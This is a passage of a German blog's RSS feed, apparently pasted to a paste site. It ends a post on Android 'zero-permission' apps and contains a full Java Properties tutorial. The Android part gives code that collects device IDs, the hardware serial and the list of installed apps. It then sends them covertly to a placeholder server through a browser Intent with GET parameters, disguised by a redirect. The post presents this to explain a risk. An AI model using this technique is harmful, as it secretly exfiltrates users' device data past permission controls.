  947. Log.i("GSM",tm.getNetworkOperator());
  948. }
  949. if(tm.getSimState() == TelephonyManager.SIM_STATE_READY) {
  950. Log.i("SIM",tm.getSimOperator());
  951. }</pre><p>Deswegen würde es sich anbieten die 64-bit lange Android ID oder die Hardware-Seriennummer auszulesen, da man dafür keine weiteren Rechte benötigt. Somit könnten gesammelte Daten durch diese einzigartige ID einem Benutzer leicht zugeordnet werden können.</p><pre class="crayon-plain-tag">//Android Id
  952. String androidId = Secure.getString(getContentResolver(), Secure.ANDROID_ID);</pre><p>Auch die Hardware-Seriennummer könnte von Interesse sein.</p><pre class="crayon-plain-tag">//Hardware-Seriennummer
  953. String androidSerial = android.os.Build.SERIAL;
  954. //Hardware-Seriennummer unter API 9
  955. String androidSerial = (String)Build.class.getField("SERIAL").get(null);</pre><p>Nicht ganz so sensible Daten, wie oft und wie lang ein Benutzer die &#8220;infizierte&#8221; App benutzt, können für eine Erstellung von Statistiken gesammelt werden. Des weiteren können ohne weiteres auch die Kernelversion und, falls vorhanden, der Name einer installierten Custom-ROM ausgelesen werden.</p><pre class="crayon-plain-tag">String kernelVersion = System.getProperty("os.version")</pre><p>Desweiteren können Informationen über andere installierte Apps gesammelt werden. Eine Liste aller installierten Apps bekommt man folgenderweise:</p><pre class="crayon-plain-tag">final PackageManager pm = getPackageManager();
  956. //Liste aller installierten Apps.
  957. List packages = pm.getInstalledApplications(PackageManager.GET_META_DATA);</pre><p>Auch Anrufe oder SMS können initiiert werden, ohne, dass eine App ein Recht dafür benötigt. Im folgen Beispiel wird eine Telefonnummer zum Wählen vorbereitet, jedoch muss der Benutzer noch selbst auf &#8220;Wählen&#8221; klicken.</p><pre class="crayon-plain-tag">Intent intent = new Intent(Intent.ACTION_DIAL);
  958. intent.setData(Uri.parse("tel:004312345678"))
  959. startActivity(intent);</pre><p></p> <h3>Die Übertragung</h3> <p>Diese gesammelten Informationen würden nun nur noch an einen zentralen Server übertragen werden. Doch wie soll das funktionieren, ohne dass die App einen Zugriff auf das Internet hätte?<br /> Das vorherige Beispiel hat es schon gezeigt. Der &#8220;Trick&#8221; besteht darin, mittels eines Intents, also eines Aufrufs einer anderen App, deren Rechte zu verwenden.</p> <p>Ohne das Recht eine Internetverbindung zu benötigen, wird der Browser aufgerufen (denn dieser hat das Recht auf eine Internetverbindung) und die zu übertragenen Daten werden im Pfad der aufzurufenden Adresse angegeben.</p><pre class="crayon-plain-tag">String url = "http://www.server.com?id="+androidID+"&amp;data="+...;
  960. Intent i = new Intent(Intent.ACTION_VIEW);
  961. i.setData(Uri.parse(url));
  962. startActivity(i);</pre><p>Hier würde es sich anbieten, diese Übertragung erst bei der Beendigung der App durchzuführen. Der Server müsste dann nur noch die übertragenen GET-Parameter abspeichern, auswerten, etc. Zudem wäre es möglich, durch die zuvor erwähnte Übertragung die IP-Adresse und den verwendeten Browser des Gerätes zu ermitteln und somit die gesammelten Daten inklusive Lokalisierung auszuwerten. Die vom Browser aufgerufene Adresse würde dann nur noch auf eine andere, seriös wirkende Seite weitergeleitet werden. Somit würde der Anwender von der Übertragung nur schwer etwas bzw. gar nichts mitbekommen.</p> <h3>Paranoia</h3> <p>Kein Grund gleich paranoid zu werden. Am Besten schützt man sich, wenn man sein Android Gerät auf einer aktuellen Version hält und keine persönlichen Daten auf der SD-Karte gespeichert werden.</p> <p>Der Beitrag <a rel="nofollow" href="http://www.gridtec.at/wp/android-zero-permission-app-beispiel-code/">Android Zero-Permission App Beispiel</a> erschien zuerst auf <a rel="nofollow" href="http://www.gridtec.at/wp">Grid Blog</a>.</p>
  963. ]]>
  964. </content:encoded>
  965. <wfw:commentRss>
  966. http://www.gridtec.at/wp/android-zero-permission-app-beispiel-code/feed/
  967. </wfw:commentRss>
  968. <slash:comments>0</slash:comments>
  969. </item>
  970. <item>
  971. <title>
  972. Java Properties Beispiel lesen, schreiben und sortieren
  973. </title>
  974. <link>
  975. http://www.gridtec.at/wp/java-properties-file-beispiel/
  976. </link>
  977. <comments>
  978. http://www.gridtec.at/wp/java-properties-file-beispiel/#comments
  979. </comments>
  980. <pubDate>Thu, 02 Apr 2015 11:48:03 +0000</pubDate>
  981. <dc:creator>
  982. <![CDATA[ Robert Gludovatz ]]>
  983. </dc:creator>
  984. <category>
  985. <![CDATA[ Java ]]>
  986. </category>
  987. <category>
  988. <![CDATA[ beispiel ]]>
  989. </category>
  990. <category>
  991. <![CDATA[ java ]]>
  992. </category>
  993. <category>
  994. <![CDATA[ properties ]]>
  995. </category>
  996. <guid isPermaLink="false">http://www.gridtec.at/wp/?p=67</guid>
  997. <description>
  998. <![CDATA[
  999. <p>Java Properties Jede komplexe Anwendung erfordert heutzutage irgendeine Art von Konfiguration. Manchmal müssen diese Konfigurationen schreibgeschützt sein (nur lesen) und manchmal müssen Konfigurationen geändert und abgespeichert werden können. Dieser Artikel soll zeigen, wie ein Konfigurati
  1000. ]]>
  1001. <![CDATA[
  1002. onsmechanismus mittels Properties geladen, gelesen und geschrieben werden kann, um eine Java-Anwendungen einfach zu konfigurieren. Schlüssel und ihre Werte Die Eigenschaften werden im [&#8230;]</p> <p>Der Beitrag <a rel="nofollow" href="http://www.gridtec.at/wp/java-properties-file-beispiel/">Java Properties Beispiel lesen, schreiben und sortieren</a> erschien zuerst auf <a rel="nofollow" href="http://www.gridtec.at/wp">Grid Blog</a>.</p>
  1003. ]]>
  1004. </description>
  1005. <content:encoded>
  1006. <![CDATA[
  1007. <h1>Java Properties</h1> <p>Jede komplexe Anwendung erfordert heutzutage irgendeine Art von Konfiguration. Manchmal müssen diese Konfigurationen schreibgeschützt sein (nur lesen) und manchmal müssen Konfigurationen geändert und abgespeichert werden können. Dieser Artikel soll zeigen, wie ein Ko
  1008. ]]>
  1009. <![CDATA[
  1010. nfigurationsmechanismus mittels Properties geladen, gelesen und geschrieben werden kann, um eine Java-Anwendungen einfach zu konfigurieren.</p> <h3>Schlüssel und ihre Werte</h3> <p>Die Eigenschaften werden im Key-Value Prinzip angegeben. Diese können mit unterschiedlichen Zeichen getrennt werden
  1011. ]]>
  1012. <![CDATA[
  1013. :</p><pre class="crayon-plain-tag"># Diese Zeile ist ein Kommentar
  1014. pi=3.14159265359
  1015. lang:deutsch</pre><p>Weitere Beispiele werden <a title="java properties datei" href="http://de.wikipedia.org/wiki/Java-Properties-Datei" target="_blank">hier</a> beschrieben.</p> <h3>Laden und lesen der Propertie
  1016. ]]>
  1017. <![CDATA[
  1018. s-Datei</h3> <p>Im folgenden Beispiel wird mittels eines Singletons verhindert, dass bei jeder Schlüssel-Abfrage die Properties-Datei neu geladen wird. Stattdessen wird die Datei nur beim Starten ausgelesen und zwischengespeichert, da Input/Output-Operationen viel Zeit in Anspruch nehmen und für
  1019. ]]>
  1020. <![CDATA[
  1021. zeitkritische Anwendungen nicht verwendet werden können.</p><pre class="crayon-plain-tag">package at.blog.gridtec.handler;
  1022.  
  1023. import java.util.*;
  1024. import java.io.*;
  1025.  
  1026. public class PropertyHandler {
  1027.  
  1028. private static PropertyHandler instance = null;
  1029. private Properties prop = null;
  1030. private static String propertiesFileName = "conf.properties";
  1031.  
  1032. private PropertyHandler() {
  1033. InputStream input = null;
  1034. try {
  1035. input = new FileInputStream(propertiesFileName);
  1036. this.prop = new Properties();
  1037. this.prop.load(input);
  1038. } catch (IOException ex) {
  1039. ex.printStackTrace();
  1040. } finally {
  1041. if (input != null) {
  1042. try {
  1043. input.close();
  1044. } catch (IOException e) {
  1045. e.printStackTrace();
  1046. }
  1047. }
  1048. }
  1049. }
  1050.  
  1051. public synchronized static PropertyHandler getInstance() {
  1052.  
  1053. if (instance != null) {
  1054. return instance;
  1055. }
  1056. synchronized (PropertyHandler.class) {
  1057. if (instance == null) {
  1058. instance = new PropertyHandler();
  1059. }
  1060. }
  1061. return instance;
  1062. }
  1063.  
  1064. public String getValue(String propKey) {
  1065. return this.prop.getProperty(propKey);
  1066. }
  1067.  
  1068. public Set&lt;String&gt; getAllPropertyNames() {
  1069. return this.prop.stringPropertyNames();
  1070. }
  1071.  
  1072. public boolean containsKey(String key) {
  1073. return this.prop.containsKey(key);
  1074. }
  1075. }</pre><p>Testen wir die Klasse:</p><pre class="crayon-plain-tag">public static void main(String[] args) {
  1076.  
  1077. System.out.println(PropertyHandler.getInstance().containsKey("pi"));
  1078. System.out.println(PropertyHandler.getInstance().getValue("pi"));
  1079. System.out.println(PropertyHandler.getInstance().getValue("lang"));
  1080. System.out.println(PropertyHandler.getInstance().getAllPropertyNames());
  1081. }
  1082.  
  1083. //Ausgabe:
  1084. //true
  1085. //3.14159265359
  1086. //deutsch
  1087. //[pi, lang]</pre><p></p> <h3> Speichern von geänderten Werten</h3> <p>Je nach Einsatzgebiet kann es durchaus Sinn machen, geänderte Properties abzuspeichern. Dazu wird folgende Methode zu der Klasse hinzugefügt:</p><pre class="crayon-plain-tag">public void saveParamChanges(String key, String value) {
  1088. try {
  1089. this.prop.setProperty(key, value);
  1090. OutputStream out = new FileOutputStream(propertiesFileName);
  1091. // Zeige letzte Änderungen als Kommentar im Properies File
  1092. this.prop.store(out, "Last changes: " + key + "=" + value);
  1093. } catch (Exception e) {
  1094. e.printStackTrace();
  1095. }
  1096. }</pre><p>Probieren wir die neue Methode:</p><pre class="crayon-plain-tag">if (PropertyHandler.getInstance().containsKey("lang")) {
  1097. PropertyHandler.getInstance().saveParamChanges("lang", "english");
  1098. }
  1099. if (PropertyHandler.getInstance().containsKey("pi")) {
  1100. PropertyHandler.getInstance().saveParamChanges("pi", "0");
  1101. }</pre><p>Sieht man sich nun die Properties-Datei an, sieht man folgendes:</p><pre class="crayon-plain-tag">#Last changes: pi=0
  1102. #Thu Apr 02 05:49:57 CEST 2015
  1103. pi=0
  1104. lang=english</pre><p>Wie zu sehen ist, sind die einzelnen Properties nicht sortiert. Da dies, gerade bei größeren Properties-Dateien, von Vorteil wäre, wird die oben gezeigte PropertyHandler Klasse leicht modifiziert in dem eine Wrapper-Klasse instanziert wird.</p> <h3>Sortieren von Properties</h3> <p>Um die Properties sortiert in die Properties-Datei zu speichern, wird ein Wrapper für die Properties-Klasse benötigt:</p><pre class="crayon-plain-tag">package at.blog.gridtec.handler;
  1105.  
  1106. import java.util.Collections;
  1107. import java.util.Enumeration;
  1108. import java.util.Properties;
  1109. import java.util.Vector;
  1110.  
  1111. class SortedProperties extends Properties {
  1112.  
  1113. private static final long serialVersionUID = 4786733291853770802L;
  1114.  
  1115. public Enumeration keys() {
  1116. Enumeration keysEnum = super.keys();
  1117. Vector&lt;String&gt; keyList = new Vector&lt;String&gt;();
  1118. while (keysEnum.hasMoreElements()) {
  1119. keyList.add((String) keysEnum.nextElement());
  1120. }
  1121. Collections.sort(keyList);
  1122. return keyList.elements();
  1123. }
  1124. }</pre><p>Statt der Properties-Klasse muss nun die SortedProperties-Klasse instanziert werden. Ändert man jetzt einen Wert sieht die Properties-Datei so aus:</p><pre class="crayon-plain-tag">#Last changes: pi=0
  1125. #Thu Apr 02 06:55:31 CEST 2015
  1126. lang=english
  1127. pi=0</pre><p></p> <hr /> <p>Abschließend noch einmal die komplette PropertiesHandler-Klasse:</p><pre class="crayon-plain-tag">package at.blog.gridtec.handler;
  1128.  
  1129. import java.util.*;
  1130. import java.io.*;
  1131.  
  1132. public class PropertyHandler {
  1133.  
  1134. private static PropertyHandler instance = null;
  1135. private SortedProperties prop = null;
  1136. private static String PropertyFileName = "conf.properties";
  1137.  
  1138. private PropertyHandler() {
  1139. InputStream input = null;
  1140. try {
  1141. input = new FileInputStream(PropertyFileName);
  1142. this.prop = new SortedProperties();
  1143. this.prop.load(input);
  1144. } catch (IOException ex) {
  1145. ex.printStackTrace();
  1146. } finally {
  1147. if (input != null) {
  1148. try {
  1149. input.close();
  1150. } catch (IOException e) {
  1151. e.printStackTrace();
  1152. }
  1153. }
  1154. }
  1155. }
  1156.  
  1157. public static synchronized PropertyHandler getInstance() {
  1158. if (instance != null) {
  1159. return instance;
  1160. }
  1161. synchronized (PropertyHandler.class) {
  1162.  
  1163. if (instance == null) {
  1164. instance = new PropertyHandler();
  1165. }
  1166. }
  1167. return instance;
  1168. }
  1169.  
  1170. public String getValue(String propKey) {
  1171. return this.prop.getProperty(propKey);
  1172. }
  1173.  
  1174. public Set&lt;String&gt; getAllPropertyNames() {
  1175. return this.prop.stringPropertyNames();
  1176. }
  1177.  
  1178. public boolean containsKey(String key) {
  1179. return this.prop.containsKey(key);
  1180. }
  1181. }</pre><p>&nbsp;</p> <p>&nbsp;</p> <p>Der Beitrag <a rel="nofollow" href="http://www.gridtec.at/wp/java-properties-file-beispiel/">Java Properties Beispiel lesen, schreiben und sortieren</a> erschien zuerst auf <a rel="nofollow" href="http://www.gridtec.at/wp">Grid Blog</a>.</p>
  1182. ]]>
  1183. </content:encoded>
  1184. <wfw:commentRss>
  1185. http://www.gridtec.at/wp/java-properties-file-beispiel/feed/
  1186. </wfw:commentRss>
  1187. <slash:comments>0</slash:comments>
  1188. </item>
  1189. </channel>
  1190. </rss>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement